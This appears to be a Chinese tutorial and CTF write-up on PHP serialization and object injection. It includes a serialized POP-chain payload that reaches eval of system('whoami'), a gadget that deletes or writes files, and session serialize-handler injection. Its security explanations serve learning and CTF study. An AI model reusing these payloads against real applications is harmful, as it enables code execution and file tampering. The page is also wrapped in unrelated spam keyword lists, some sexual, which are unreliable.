1. 圣石小子粤语,别样幸福全集,箭在弦上大结局,我想打死你,星光灿烂猪八戒,菲律宾美人鱼50集国语,神探夏洛克 第四季,市委书记晚上不打招呼调研被拦

      簡單分析PHP中序列化用法介紹

      時間:2024-08-15 18:02:59 PHP

      簡單分析PHP中序列化用法介紹

        序列化在我們學習php中都會有用到了對于序列化我們常用的函數有serialize和unserialize了,希望以下這篇文章能夠幫助到各位了解到PHP中序列化用法,具體如下:

        0x00 序列化函數

        serialize():返回帶有變量類型和值的字符串

        unserialize():想要將已序列化的字符串變回 PHP 的值

        測試代碼:

        <?php

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $a  = $a;

        $this->b = $b;

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $a = 'hello';

        $b = 123;

        $c = false;

        $d = new test('helloa','hellob','helloc');

        $e = new test1('hello');

        var_dump(serialize($a));

        var_dump(serialize($b));

        var_dump(serialize($c));

        var_dump(serialize($d));

        var_dump(serialize($e));

        ?>

        運行結果:

        string 's:5:"hello";' (length=12)

        string 'i:123;' (length=6)

        string 'b:0;' (length=4)

        string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)

        string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)

        序列化字符串格式: 變量類型:變量長度:變量內容 。

        如果序列化的是一個對象,序列化字符串格式為:

        變量類型:類名長度:類名:屬性數量:{屬性類型:屬性名長度:屬性名;屬性值類型:屬性值長度:屬性值內容}

        將上述結果反序列化輸出,執行結果:

        string 'hello' (length=5)

        int 123

        boolean false

        object(test)[1]

        public 'a' => null

        public 'b' => string 'hellob' (length=6)

        object(test1)[1]

        public 'a' => string 'hello' (length=5)

        public 'b' => null

        0x01 對象序列化

        當序列化對象時,PHP 將在序列動作之前調用該對象的成員函數 sleep()。這樣就允許對象在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢復對象時, 將調用 wakeup()成員函數。

        在serialize()函數執行時,會先檢查類中是否定義了 sleep()函數,如果存在,則首先調用 sleep()函數,如果不存在,就保留序列字符串中的所有屬性。

        在unserialize()函數執行時,會先檢查是否定義了 wakeup()函數。如果 wakeup()存在,將執行__wakeup()函數,會使變量被重新賦值。

        serialize()測試代碼:

        <?php

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $this->a  = $a;

        $this->b = $b;

        }

        function __sleep(){

        echo "b has changed"."\n";

        $this->b = 'hib';

        return $this->b;

        }

        function __wakeup(){

        echo "a has changed"."\n";

        $this->a = 'hia';

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $d = new test('helloa','hellob','helloc');

        $e = new test1('hello');

        serialize($d);

        serialize($e);

        var_dump($d);

        var_dump($e);

        ?>

        執行結果:

        b has changed b has changed

        object(test)[1]

        public 'a' => string 'helloa' (length=6)

        public 'b' => string 'hib' (length=3)

        object(test1)[2]

        public 'a' => string 'hello' (length=5)

        public 'b' => string 'hib' (length=3)

        unserialize()測試代碼:

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $this->a  = $a;

        $this->b = $b;

        }

        function __sleep(){

        echo "b has changed"."\n";

        $this->b = 'hib';

        return $this->b;

        }

        function __wakeup(){

        echo "a has changed"."\n";

        $this->a = 'hia';

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;

        $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;

        var_dump(unserialize($d));

        var_dump(unserialize($e));

        運行結果:

        a has changed

        object(test)[1]

        public 'a' => string 'hia' (length=3)

        public 'b' => string 'hellob' (length=6)

        a has changed

        object(test1)[1]

        public 'a' => string 'hia' (length=3)

        public 'b' => null

        0x02 PHP序列化的利用

        1、magic函數和序列化

        參考: php對象注入

        除了 sleep()和 wakeup()函數,在序列化時會執行外,還有下面幾種利用方式。

        Class File

        {

        function __construct($var,$file1,$file2){

        $this->var = $var;

        $this->file1 = $file1;

        $this->file2 = $file2;

        echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';

        }

        function __destruct(){

        unlink(dirname(__FILE__) . '/' . $this->file1);

        echo $this->file1.'deleted';

        }

        function __toString(){

        return file_get_contents($this->file2);

        }

        }

        // $file = new File('hello','123.txt','456.php');

        // var_dump(serialize($file));

        echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');

        ( construct()函數,在實例化一個對象時被調用,一般用來給屬性賦值, destruct()在實例化對象完成后執行,__toString()函數在echo一個對象時被調用)

        construct()函數內定義了三個變量,var這個沒什么暖用,file1和file2,我們在序列化字符串中定義為已經服務器上已經存在的兩個文件123.txt和456.php,destruct()中有一個unlink方法,是刪除file1,__toString()中,讀取file2的內容。

        執行結果:

        123.txtdeleted

        查看源碼:

        <?php  echo 123; ?>123.txtdeleted

        將字符串反序列化后,由于已經對變量賦過值,那么就不會再執行 construct()函數,在 construct()中賦值的變量也是無效的。上述代碼中 destruct()方法在在反序列化后,實例化對象結束后執行了, tostring()函數在echo unserialize()處,也被執行了

        如果說在當前頁面中有request系列函數,那么就可以造成php對象注入:

        http://drops.wooyun.org/papers/4820

        2、三個白帽挑戰賽第三期

        是一道源碼審計題,題目大致是sql注入結合序列化寫入文件

        部分源碼也是在某個大神 博客 看到的(由于我沒有做過題,所以我只截取了和序列化漏洞相關的部分源碼):

        class Cache extends \ArrayObject

        {

        public $path;

        function __construct($path)

        {

        parent::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);

        $this->path = $path;

        if(file_exists($path)){

        $this->cache = unserialize(file_get_contents($this->path));

        }

        function offset(){

        //一些不知道干嘛用的代碼

        }

        }

        function __destruct()

        {

        $cache = $this->serialize();

        file_put_contents($this->path, $cache);

        }

        }

        又由于我沒有做過題。。。。所以模擬了這樣一個頁面去實例化:

        include('cache.php');

        $cache = new Cache('path.txt');

        這題好像是這樣的:

        通過SQL注入,可控一個文件,假設可控的是path.txt這個文件(在實際的題目中,SQL注入權限不夠,web目錄下不可寫文件,但其他目錄可寫,已知目錄下有文件md5(username).txt,文件名知道,內容可控),這段代碼的意思是,判斷該文件存在后,讀取文件內容,并且反序列化內容,結束時再經過序列化存進文件中。所以可以在可控文件中構造序列化字符串,改變當前的path屬性為我們想要的目錄。

        path.txt:

        C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}

        上述字符串是通過輸出serialize(一個實例化的Cache對象)構造的,當__construct()執行時,就會將上述字符串反序列化,此時已經實例化了一個cache對象,而它的path值變成了我們定義的”F:\wamp\www\test\path.php”,并且多了一個cache屬性,值為 <?php echo 123; ?> ,這里的屬性名cache是可以隨意取的,但如果源碼中:

        $cache = $this->serialize();

        變成了:

        $cache = serialize($this->cache);

        那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;屬性名就必須和源碼serialize($this->cache)當中的屬性名相同。

        所以,現在服務器上其實有兩個對象,一個是 $cache = new Cache('path.txt'); 定義的$cache,它的path屬性值為path.txt;另一個對象是

        C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的對象,它的path屬性的值為path.php。

        兩個對象實例化結束后,會調用其__destruct()方法,將對象自身序列化,寫入path屬性定義的路徑中。這樣就將包含 <?php echo 123; ?> 的內容寫進了path.php中。

        3、安恒ctf web3

        一道源碼審計題,解題思路是session上傳進度,和session序列化處理器漏洞相結合。

        session上傳進度:

        參考: upload-progress

        當 session.upload_progress.enabled INI 選項開啟時,在一個上傳處理中,在表單中添加一個與INI中設置的 session.upload_progress.name 同名變量時,$_SESSION中就會添加一個保存上傳信息的session值,它的session名是 INI 中定義的 session.upload_progress.prefix 加表單中的post的 session.upload_progress.name

        測試代碼:

        <form action="" method="POST" enctype="multipart/form-data">

        <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />

        <input type="file" name="123123" />

        <input type="submit" />

        </form>

        <?php

        session_start();

        var_dump($_SESSION);

        ?>

        (要查看到上傳session,INI貌似要設置這個session.upload_progress.cleanup = Off)

        session序列化處理器:

        參考: session序列化

        當session.auto_start = 0時:

        兩個腳本注冊 Session 會話時使用的序列化處理器(session.serialize_handler)不同,就會出現安全問題。

        經過測試發現在1.php頁面注冊session.serialize_handler=‘php_serialize’;

        在2.php中注冊session.serialize_handler=‘php’;

        那么在1.php中偽造一個格式為:豎線加上對象序列化后的字符串

        如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

        那么會按照 php 處理器的反序列化格式讀取數據,成功地實例化了該對象。

        反之,如果是從php->php_serialize,是不可行的。

        當session.auto_start = 1時:

        只能注入 PHP 的內置類

        web3 源碼:

        class.php:

        <?php

        class foo1{

        public $varr;

        function __construct(){

        $this->varr = "index.php";

        }

        function __destruct(){

        if(file_exists($this->varr)){

        echo $this->varr;

        }

        echo "這是foo1的析構函數";

        }

        }

        class foo2{

        public $varr;

        public $obj;

        function __construct(){

        $this->varr = '1234567890';

        $this->obj = null;

        }

        function __toString(){

        $this->obj->execute();

        return $this->varr;

        }

        function __desctuct(){

        echo "這是foo2的析構函數";

        }

        }

        class foo3{

        public $varr;

        function execute(){

        eval($this->varr);

        }

        function __desctuct(){

        echo "這是foo3的析構函數";

        }

        }

        ?>

        index.php:

        <?php

        ini_set('session.serialize_handler', 'php');

        require("./sessionTest.php");

        session_start();

        $obj = new foo1();

        $obj->varr = "phpinfo.php";

        ?>

        想辦法讓程序執行foo3的excute()函數,就要通過foo2的 toString(),要執行foo2的 toString()就要通過echo foo2,剛好foo1的__deatruct()有段這樣的代碼 echo $this->varr;

        所以這樣構造:

        include('class.php');

        $t1 = new foo1;

        $t2 = new foo2;

        $t3 = new foo3;

        $t3->varr = "system('whoami');";

        $t2->obj = $t3;

        $t1->varr = $t2;

        $s1 = serialize($t1);

        var_dump($s1);

        構造出這樣一串: O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

        所以構造一個表單,向class.php上傳文件,通過session上傳進度保存的session,來觸發session序列化漏洞,由于INI中設置的序列化處理器為php_serialize,而index.php中將其設置為php,就使得偽造的session被成功地實例化了。

        有兩類不同的插法~

        1、將序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

        session名變成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload會替換整個session值

        2、將序列化字符串插入post內容中

        因為session會存上傳文件的內容和文件名,所以也可以將序列化字符串插入name、filename.文件上傳原本的session值一直到name前面一個參數為止,變成了session名,name參數|后面的payload變成了session值。

      【簡單分析PHP中序列化用法介紹】相關文章:

      簡單介紹php構造函數用法03-15

      php中dirname()和--FILE--常量的用法04-01

      PHP中的排序函數區別分析03-31

      PHP中MySQL、MySQLi和PDO的用法和區別03-10

      PHP對象注入的實例分析03-15

      PHP中curl的使用實例04-01

      PHP中關于類的定義04-01

      php中session的實現原理以及大網站應用應注意的問題分析04-01

      PHP中函數的使用說明03-30

      主站蜘蛛池模板: 97免费| 广西一村庄被淹4个月水位仍在涨| 高清《隐入尘烟》电影免费观看| 赶尸先生国语| 暴风雨所诞生的| 性解密之大妈| 萍聚歌谱| 三级片一个好妈妈| 在异世界迷宫开宫| 木下檀檀子免费观看平台| 新白娘子传奇在线观看| 蓝色帽子隐形的韩国电影在线观看| 探长欧光慈| 美容院的待遇韩国| 咒术回战电影| 星克莱尔全集在线| 情牵百子柜| 圣特罗佩斯的姑娘们在线观看| 动真格了!渤海打响“第一枪”| 小时代3百度影音| 大染坊续| 咱们结婚吧全集| 《完美无瑕》| 坎贝奇《无憾》全集免费看 | 爱我几何电影完整版在线| 我要当空姐| 出轨的味道在线观看| 牛鞭擦进女人下身| 第一点血2| 夜访吸血鬼剧情| 韩国电影 在水池里做| 妈妈的职业5| 武林风全球功夫盛典| 需要爸爸播种子2美国电影第二部| 超星五灵侠第七季免费观看| 莫妮卡《爱我几何》电影免费| 囧妈电影| 狂野时代未删减| 电影《生活中的玛丽》免费观看中文 | 房产销售电影在线观看| 幸福守望| 导弹旅长 电视剧| 《圣特罗佩姑娘们1982》在线观看| 燃烧在线观看视频完整版| 大男当婚高清全集| 电影美容院的特别待遇| 珠光宝气| 我的灿烂人生下载| 美国式忌讳结局1-5| 《丰满的继牳5》在线观看| 灿烂的遗产国语版全集| 混乱武林3谁与争锋| 鉴宝女王:古玩市场我称霸全集免费| 《维修工》电影王李丹妮| 如懿传电视剧免费完整版在线观看| 东安县| 路灯下的小姑娘广场舞| 黑白配HD1080国语电影下载地址| 电影偷窥无罪| 电视剧全民公主| 高清爱你的基蒂 第三季未删减| 游戏大作战泰剧在线观看免费| 电影《屠宰餐厅》原版| 家庭教师视频下载| 日本维修工人的艳遇| 淞沪会战电视剧| 扫黑风暴连续剧| 瓜达卢佩的玫瑰2| 电视剧风吹半夏全集播放| 奇葩说第六季在线观看完整版免费 | 艾克赛德免费观看全集日语版超高清| 满天星壮志凌云女版kr| 中国梦我的梦网络视听年度盛典 | 韩国电影办公室3免费完整版播放 封神榜免费观看全集完整版 | 同江市| 恶之花在线播放| 反恐电影《沙漠》| 女兵酷刑性暴行电影| 杨光的夏天全集| 一生一世谢霆锋高圆圆| 哇嘎国语电影在线观看 | 电视剧小站风云| 《朴亚珍蓝色隐身帽子》| 赤裸惊魂| 人类星球 电影| 《执行秘书》| 胡希恕伤寒论讲座| 王朝的女人| 中文字Dl幕岳 和女胥| 单亲妈妈电视剧免费看第四集| 苹果未删版| 电影斯巴达克斯第四季| 黑龙江都市频道新闻夜航| 神奇的老皮| 美国禁忌电影免费观看满天星| 珠光幻影15| 暖暖的味道| 法国空乘2017无删减版| 战狼6在线免费观看| 美国黑白配高清完整版电影 | 恶作剧之吻 电影| 安沁宋熠免费阅读| 超新星全运会第二季| 长江七号免费| 透明变态人间| 三大队电影免费抢先观看| 永生第四季海噬仙灵免费观看| 冲锋电影| 一楼一凤闷骚影院首页| 流星蝴蝶剑必杀版| 便利店少女2高清版| 外太空的莫扎特| 《玉薄圃》| 美国的小蜜蜂4娃娃脸| 四人虎免费电影院在线播放| 十七岁电影完整版| 巴西电影《营销技巧》| 小蜜桃:美丽人生4| 乡村爱情圆舞曲13| 灭火宝贝(高压监狱)| 童话世界电影在线观看| 越狱第五季在哪看| 创可贴电影韩国免费观看| 孤勇歌曲原唱完整版陈奕迅| 社长的漂亮夫人电影在线播放| 电锯人免费观看完整版| 总统之夜电影在线观看| 全能王妃杀疯了短剧免费观看| 精灵宝可梦のエロ本莉莉艾| 有形的翅膀mv| 校花攻略| 忍不住的继拇中字3| 湖南黑山羊价格| 当哒当:邪视电影| 地爆天星意大利完整版| 我家女友可不止可爱呢| 哪吒二在线观看| 洪武大案电视剧| o娘的故事电影免费观看策驰影院 寒夜尽处是卿心电视剧全集免费观看 | 日韩一级伦理强奸电影在线观看| 泰勒花花公子女郎| 星刻的龙骑士免费观看 | 木子檀檀子在线观看全集免费 | 一路向西免费电影| 真白蛇传| 尖峰时刻1国语| 抗日奇侠全集播放| 电影极地营救| 借爸爸种子| 黄晓明安以轩| 三年片观看免费观看西瓜影视剧| 后院露营第一季未增减0.0| 砚床完整版免费| 向涟苍士献上纯洁类似| 麦乐迪家庭矛盾是哪部电影 | 铠甲勇士1部全集| 爱我几何高清无删除版在线观看| 本草药王国语| Lovefou| 卫青不败由天幸| 在姨母家的客厅完整版| 人猿泰山未删减意大利版| 怀9胞胎女子丈夫决定减胎| 法国空少免费观看| 《花与罪》免费| 我们的新家免费观看完整版| 少女战车| 妙笔生花电影| 我是证人迅雷下载| 陈家洛出场音乐| 日本空姐2019年在线观看| 师生畸恋下载| 喜盈门电影免费播放| 韩国电影飘亮女友的妈妈| 恶魔的请柬| 大秦帝国之纵横全集免费观看| 姐姐的朋友电影5| 二十大观后感| 偶滴神啊| 晚娘2罪孽完整版免费观看视频高清 | 亲爱的孩子们演员表| 需要爸爸种子未删减| 小媳妇在线观看完整版免费| 女秘书的目的电影在线观看| 小莫骚麦歌词| 赌圣之上海滩粤语| 回复术士第三季真人版预告 | 一泊二日| 凌云壮志欧美满天星| 温泉屋的老板娘| 契约撩心:总裁宠妻短剧全集| 雪花神剑| 新版金瓶梅电影| 《花儿与少年》被曝重启| 电影《灭火宝贝1》免费观看灭| 修罗武神动漫全集免费观看| 《心不由己》| 牙医姐妹 在线| 百家讲坛刘心武揭秘红楼梦| 泰山电影完整版播放| 安徽卫视回放| 唐人街探案3国语版在线观看免费| 孤舟 电视剧| 高清《原谅我》在线观看| 美容院电影5| 之后2第二季免费完整观看| 木兰县| 林青霞白发魔女| 狂飙风云短剧免费观看| 叶玉卿 卿本佳人| 《电梯里的拥挤》电影免费观看| 绝地枪王电视剧| 儿子讲述父亲疑被当猎物枪杀| 韩国理伦片驯服小峓子豆瓣| 麻辣同学会| 波多野结衣 裸体| 陈雅伦《为卿痴狂》| 苹果香原唱| 历劫俏佳人下载| 电影军事不当行为高清全集在线观看| 一站到底清华北大| 年轻的女朋友在线观看 | 法证先锋2粤语版免费观看完整版| 黑衣警探国语| 上海滩黄晓明版| 客轮上的服务员怎么称呼| 劳拉失忆症1997免费版| 台版缉魂2小时10分版网飞版| 感官之旅| 激战丛林百度云| 色戒 高清| 圣域传说| 禁忌5年转一代禁忌| 叶问四免费观看高清国语版| zh.jizz| 阳光中的向日葵 芒克| 午夜快车在线播放| 保姆的特殊待遇在哪看| 女人自己扒开荫道口| 电影失眠| xl司令第一季全集在线| 关于她的五段情事| 《缉魂》完整版| 暖暖日常在线观看免费| 皇家奶娘碰碰| 打金枝免费| 情侣之夜| 电影《售楼小姐》免费观看| 爱情公寓第3季| 断魂小丑3在线播放| 温州到上海动车| 电影丁度《开放的心》| 勿谓言之不预也中国用了几次 | 壮志凌云2法国满天星播放技巧| 名侦探柯南之世纪末的魔术师| 经典杯子蛋糕日剧在线观看免费| 千金肉奴隶电影 | 乳房影院| 姐妹4在线观看完整版中文| 差差差30分钟无盖视频| 《xl司令》在线观看完整版动漫 | 恰恰电影在线观看动漫| 豫剧刘墉下南京全集| 飞梦菲梦少女第二季免费观看| 在线播放丈夫被继子强暴,阴道紧绷的益女。住在高级住宅区的33岁人妻。每次被 | 巴拉拉小魔仙之彩虹心石全集| 火山口2人| 冰封世界电影完整版| 窈窕绅士 电影| 胜女的代价2演员表| 美国电影《小辣椒》高清全集 | 三年中国国语高清免费播放| 聊斋志谭艳梅5| 我的朋友和儿子有关系| 安娜女子监狱的电影| 打了三针科兴会得肺结节吗| 诱人的女邻居BD在线观看| 新版水浒传主题曲| 十四岁姑娘免费观看电视剧剧情| 韩讯五第二部| 牧神记在线观看免费观看完整版| 外出韩版完整版| 恋爱男孩泰剧| 东宫西宫| 很想很想你免费观看完整版| 西施秘史第1集| 一起愁愁愁免费观看完整版电视剧 | 《巨乳按摩》91传媒| 一念永恒第三季全集| 下一站别离大结局| 屋顶工| 法证先锋 3| 光环2电影| 电影建党伟业在线观看| 做aj的电视剧大全免费观看导演金 | 上春山彩排现场曝光| 禁忌5 在线| 七时吉祥电视剧观看完整版| 我们坐着来一次好不好视频| 哇嘎电影大全免费看| 棱镜恋曲| 乘风破浪2024第五季在线观看| 洗屋先生樱花动漫| 19岁大学生真人电视| 决战中途岛评价| 电锯惊魂7高清版| 吴雪雯性迷宫未删减版| soe-992| 清潭国际高中在哪看| 《行政助理》完整版| 朴亚珍《隐形帽》原版在线观看 | 罗曼蒂克未测减除版CK| 二十一天电视剧| 咒术回战第三季在线观看| 《在一起》免费观看| 隔壁邻居很美味电影在线观看免费高清| 迪迦奥特曼国语| 下半场 微电影| 《替父还债十日》电影在线观看| 古董局中局电视剧| 点点星光免费观看完整版| 卜案下载| 妈妈爱上儿子同学完整版电影免费观 | 韩剧《嫌疑人》在线观看 | 替丈夫还债电影高清完整版免费观看| 艳鬼发狂| 白雪公主成人版在线免费观看| 华尔街1电影| 伊波拉病毒2国语版免费观看| 聊斋艳谭五通神| 李涵辰论坛| 《激战丛林》意大利版| 魔术快斗02| 《女销售的销售秘诀中字》| 偷偷喜欢藏不住电视剧免费观看| 恋爱暴君2动漫| 古墓丽影满天星版全集免费看| 新逃学威龙张浩在线观看| 法国电影空乘2完整版在线观看中文字幕 | 需要爸爸的种子免费观看电视剧意大 | 迅雷在线看| 丰满女教师BD高清| 名欲场在线观看| SSSxxxx美国666| 电视剧潜渊免费观看| 潜伏者电影免费观看| 姨妈的诱惑电影| 最近我的妹妹有点怪电影| 电影《黑暗森林》莉娜安德森| 男按摩师韩国爱情电影在线播放| 灭火宝贝2斯托雅| 一起去吃拉面吗| 在异世界迷宫开后迷宫无修改版| 杨丽萍 春| 《别有用心的妻子》| 一首歌祝福新疆| 一帘幽梦 陶虹| 金银瓶1-5手机| 韩国 有求必应呼叫中心| 独生子女的婆婆| 拾光的秘密| 安姨在线观看| 兰德里的挽歌| 十天十夜剧情| 神枪电视剧全集下载| 金银梅10全集免费播放 | 姐姐的婚礼| 特殊的保险推销员2徐元| 华丽的外出免费2| 新白娘子传奇 电视剧| 电影蜜糖| 白衣绳索牙医电影完整版| 大话西游3 豆瓣| 花式桌球表演| 普安县| 杰西·简啄木鸟| 末日杀手| 大江大河第二部| 理发店特殊待遇中字国语版| 韩剧小妇人| 电视剧大秦赋| 美丽小蜜桃5免费播放全集电视剧 高清《周二谋杀定律》电视剧 | 都市煞星| 年轻的小婊3韩剧中文版| 歼灭天际线1—40| 南少林三十六房全集| 白鹿原电视剧完整版| 爸爸给我播种| 女机器人全集高清免费观看| 拯救瑞恩| 女版战狼6免费观看高清下载| 死亡空间3解说| 勇者行动在线观看| 酒店1-75集一口气看完| 高压监狱2完整版在线看中文| 天使与龙的轮舞 在线观看| 高清如月车站Re:| 裸体女医生的特殊服务| 雪中悍刀行第三部50集免费观看 | 喜耕田的故事第2部| 豪宅8804万成交| 打110叫外卖| 陆战之王全集在线观看| 《需要爸爸播种子》免费观看在线播放_HD/无删减_1080P高清完整版电影 - 天堂 | 麦乐迪女超人在线播放| 诱她曾辉版短剧第二部| 云菲菲邂逅伴奏| 法国高压监狱1| 练歌厅火辣的女人们| 警察故事四之简单任务| 秘密女搜查官の天海翼| 铁流1949| 外出孙艺珍电影| 姐妹牙医电影在线观看| 一路狂奔电影完整版| 夺命权限韩剧在线观看| 电影需要爸爸播种子| 映山红简谱| 冻结地球电视剧| 《替弟还债十日》电影在线观看免费| 天师钟馗94版| 1995年意大利版《人猿泰山》罗莎未删| 高清春日狂热| 电影搜索| 蜜桃未删版17| 我来也高清| 乐昌市| 猛鬼追魂2| 庆祝六一歌曲| 与部长出差的日子在线观看 | XL司令第一季免费全集在线观看动漫 | 恶作剧之吻网络版| 朱之文星光大道初赛| 跨越国界的爱| 法国空少免费观看| 《温柔的谎言》免费观看| 《731部队》电影完整版| 流星花园2高清| 电影激战丛林在线观看完整版高清 | 高清火遮眼未删减| 《抵债的朋友麦子》剧情介绍| 离婚大战| 那小子真酷| 醒目仔蛊惑招| 5哈第一季| 战狼9姐弟完整版免费看| 高清相反的你和我未删减| 纵横秘史| 郝板栗《千金小姐》在线播放| 铃芽之旅免费观看完整| 永靖县| 小苏文案馆| juy一747青木玲在线观看| 硬汉1女主角| 加勒比海盗女版1完整版免费| 叶子楣电影| 盲井 完整版| 韩国三级维修工的艳遇| 逐爱之旅主题曲| 小欢喜电视剧完整版| 《女律师替丈夫还钱》电影免费观看 | 爸爸想要播种子| 真爱找麻烦电视剧| 冰雪奇缘1普通话版| 油饼的热量| 部长来家中字| 回不去的夜晚| 电影玩火在线观看完整版| 《蝙蝠》电影完整版| 姐妹牙医在线观看高清免费版| 幼儿舞蹈悄悄话| 我爱吃泡面| 咖宝车神之拯救联盟| 安斋拉拉躲雨电影免费观| 游剑江湖高清| 《志愿军:浴血和平》| 男子吃月饼咬到螺丝磕坏2颗牙| 电影《牙医姐妹》正片日本版| 哪吒之魔童降世免费观看| 广场舞爱情这杯酒谁喝都得醉| 心跳电视剧在哪看| 奇怪的美容院2| 范冰冰 电影| 正阳门下全集| 历史的天空2| 《插曲30分钟在线观看》| 法版空姐2020免费观看电视剧| 马云谈台湾问题| 呼啸山庄全集观看| 云上的日子在线| 站着再来一次17集全免费高清 | 公公的两个儿媳| 回复术士的重来人生免费播放 | 保安疑因停车矛盾杀害两人| 哇嘎电影高清免费资源| 千钧一发百度影音| 爱情悠悠药草香演员表| 哇嘎电影高清完整视| 高清咒术回战 第三季未删减| 天堂网2023| 张惠妹演唱会下载| 花宵道中在线免费观看| 女超人麦乐迪版| 高清《查莉成长日记第一季》电视剧| 闪婚影帝全集免费 | 午夜凶铃 贞相大白| 朱日和阅兵2017| 凤凰天使下架| 我的不良义姐动漫第2集免费| 红字 韩国| 愉悦与痛苦在线观看| 禅宗少林音乐大典| 《女销售的秘密》| 罪恶王冠02| 情侣之夜| 刻薄新娘| 伊波拉病毒2国语在线播放| 《需要爸爸播种子》在线观看播放_HD/高清_免费无删减完整版电影 - 星辰影院 | 电视剧满江红在线观看| 1985日本电影《黑色的眼泪》在哪里能| 老婆9在线观看免费版电视剧| 咖宝车神之拯救联盟| 我和我的房东| 《我的漂亮老师2》在线观看| 踏血寻梅| 瑞尔精灵| 美容院的特殊待遇5| 惩罚女兵洗澡影院 | 许双军河南鹤壁| 偷偷藏不住免费完整版电视剧| 女房东的味道| 骗中传奇国语| 私人家教美国1983年版| 小猪佩奇的动画片| 富裕县| 有菜电影在线播放| 黑执事第三季全集| 新世界免费观看完整版| 《斩神》动漫| 男女插曲痛观看免费高清完整版在线观看| 高清《中国机长》免费播放| 年轻的小姨子在线播放| 满清十大酷刑电影| 总裁的小甜妻短剧全集| g点电影完整版在线观看| 年轻的母亲无删减| 肉脯团电影完整版| 司藤电视剧在线观看免费完整版 | 桃花映江山免费看全集| 日剧《特殊的家政》| 挡不住的诱惑| 棋魂免费观看全集在线观看| 德古拉 希尔达| 十跪爹娘| 法国空乘5免费高清在线看| 无头东宫国语版免费观看| 欢颜电影| 原始森林免费观看| 苍老师免费观看电视剧电影| 19岁电影全集免费看| 黑发尤物舞蹈教学| 介子鬼城| 名侦探柯南剧场版10| 金莲外传2免费全集| 三妹影院在线观看免费播放电视剧| 恶魔幸存者第二季动漫| 铿锵三人行| 艋胛剧情| 魔法灰姑娘电影| 凤凰县| 带美影视影院-《妻子做社长秘书偿还债务》新版-最新完整版高清在线观看 | 战狼6全片免费入口| 辛德勒的名单下载| 女神宿舍的宿官君| 高压监狱完整版免费观看| 漂亮妈妈7巴字开头叔叔| 想你21| 我叫刘跃进| 逆风而行电视剧全集免费版 | 郝板栗黑丝袜诱惑人的电影| 大奉打更人电视剧上映时间| 半熟恋人综艺第三期下在线观看| 欢迎光临全集免费观看| 西部通缉令 在线观看| 我们的千阙歌电视剧| 一起来看流星雨18| 一路向西电影完整篇| tobu4| 在姨妈家的客厅全集在哪看| 一盘大棋电影| 包公奇案| 天注定 预告片| 《屠宰呕吐娃娃》电影在线观看免费| 我的父亲风华绝代短剧免费观看| 斯诺登电影| 爱唯侦查DVD在线视频| 客途秋恨| 41度高温下交警女儿暴躁宠爹| 浪漫满屋泰国版11| 螺丝钉第三季| 《女部长通宵的引诱》电影| 天涯神贴免费完整版| 我是刑警38集| 唯一的听众教学设计| 电影《香醇的绣感》演员温彩玉| 交换上司的秘书电影在线观看| 月上重火免费观看| 83版射雕英雄传| 突然的喜欢演员表| 我的大胸继拇5| 银魂261| 行尸走肉第一季完整版| 武娘传短剧在线全集免费观看| 美国新版娃娃脸9| 麦乐迪与表哥的电影家庭矛盾| 长相思第二季在线观看| 魔乳秘剑帖全集| 大湾仔的夜第二季在线观看| 需要爸爸的种子2| 部长出差的日子在线看| 强制窃贼电视剧| 蜘蛛侠1电影国语| 新潘金莲龚玥菲免费版| 维修工猎艳日韩影视| 一年之痒| 息县县委书记金平去向| 斗罗大陆200集在线观看| 美景之屋6:我的完美人生免费全集播放| 新来的瑜伽教练免费| 盗花野史| 成为魔法少女完整版免费观看| 请鬼电影| 公之浮中2| 爱我几何在线观看免费全集电视剧| 最近新上的电视剧| 张大仙全球首吐| 咒术回战第一季中文版| 家属动漫1~6全集免费| 法国版《女超人:麦乐迪》 在线观看| 心花路放电影| 江湖儿女豆瓣| 功夫姐妹电视剧全集在线观看| 麦乐迪家庭矛盾在线播放| 女扮男装闯江湖短剧全集| 降魔的2.0| 老师教公鸡弹钢琴| 我的性感女老师| 电影《魔女3》免费观看国语| 《激战丛林》-罗莎·卡拉乔洛在线观看| 朋友的妈妈2中字线观高清| 惠安县| 女子私人监狱法版免费| 电影亮剑完整版免费观看| 人世间在线观看免费完整版高清| 拳风恋影| 巧家县| 女儿的复仇啄木鸟满天星| 妓院十二房| 第七座墓志铭电视剧| 刘亦菲合成10p| 鼹鼠的故事国语版| 种马猎人美国1982| 旋风少女| 南海归墟16集在线播放免费| 电视剧长相思在线观看免费| 满清十大酷刑未减测在线观看| 一起愁愁30集全免费| 你是我的姐妹| 家族荣誉1| 银河护卫队2百度云资源| 咱们结婚吧电影| 1980保罗一家免费观看 | 新昨夜星辰| 樱桃小丸子粤语版| 强奸系列电影| 激战酒店1-80集电视剧| 裕树先生被树弄得是那几集| 霍比特人百度影音BD| 天赋异禀北极星免费观看| 方子传电影免费观看全集在线播放 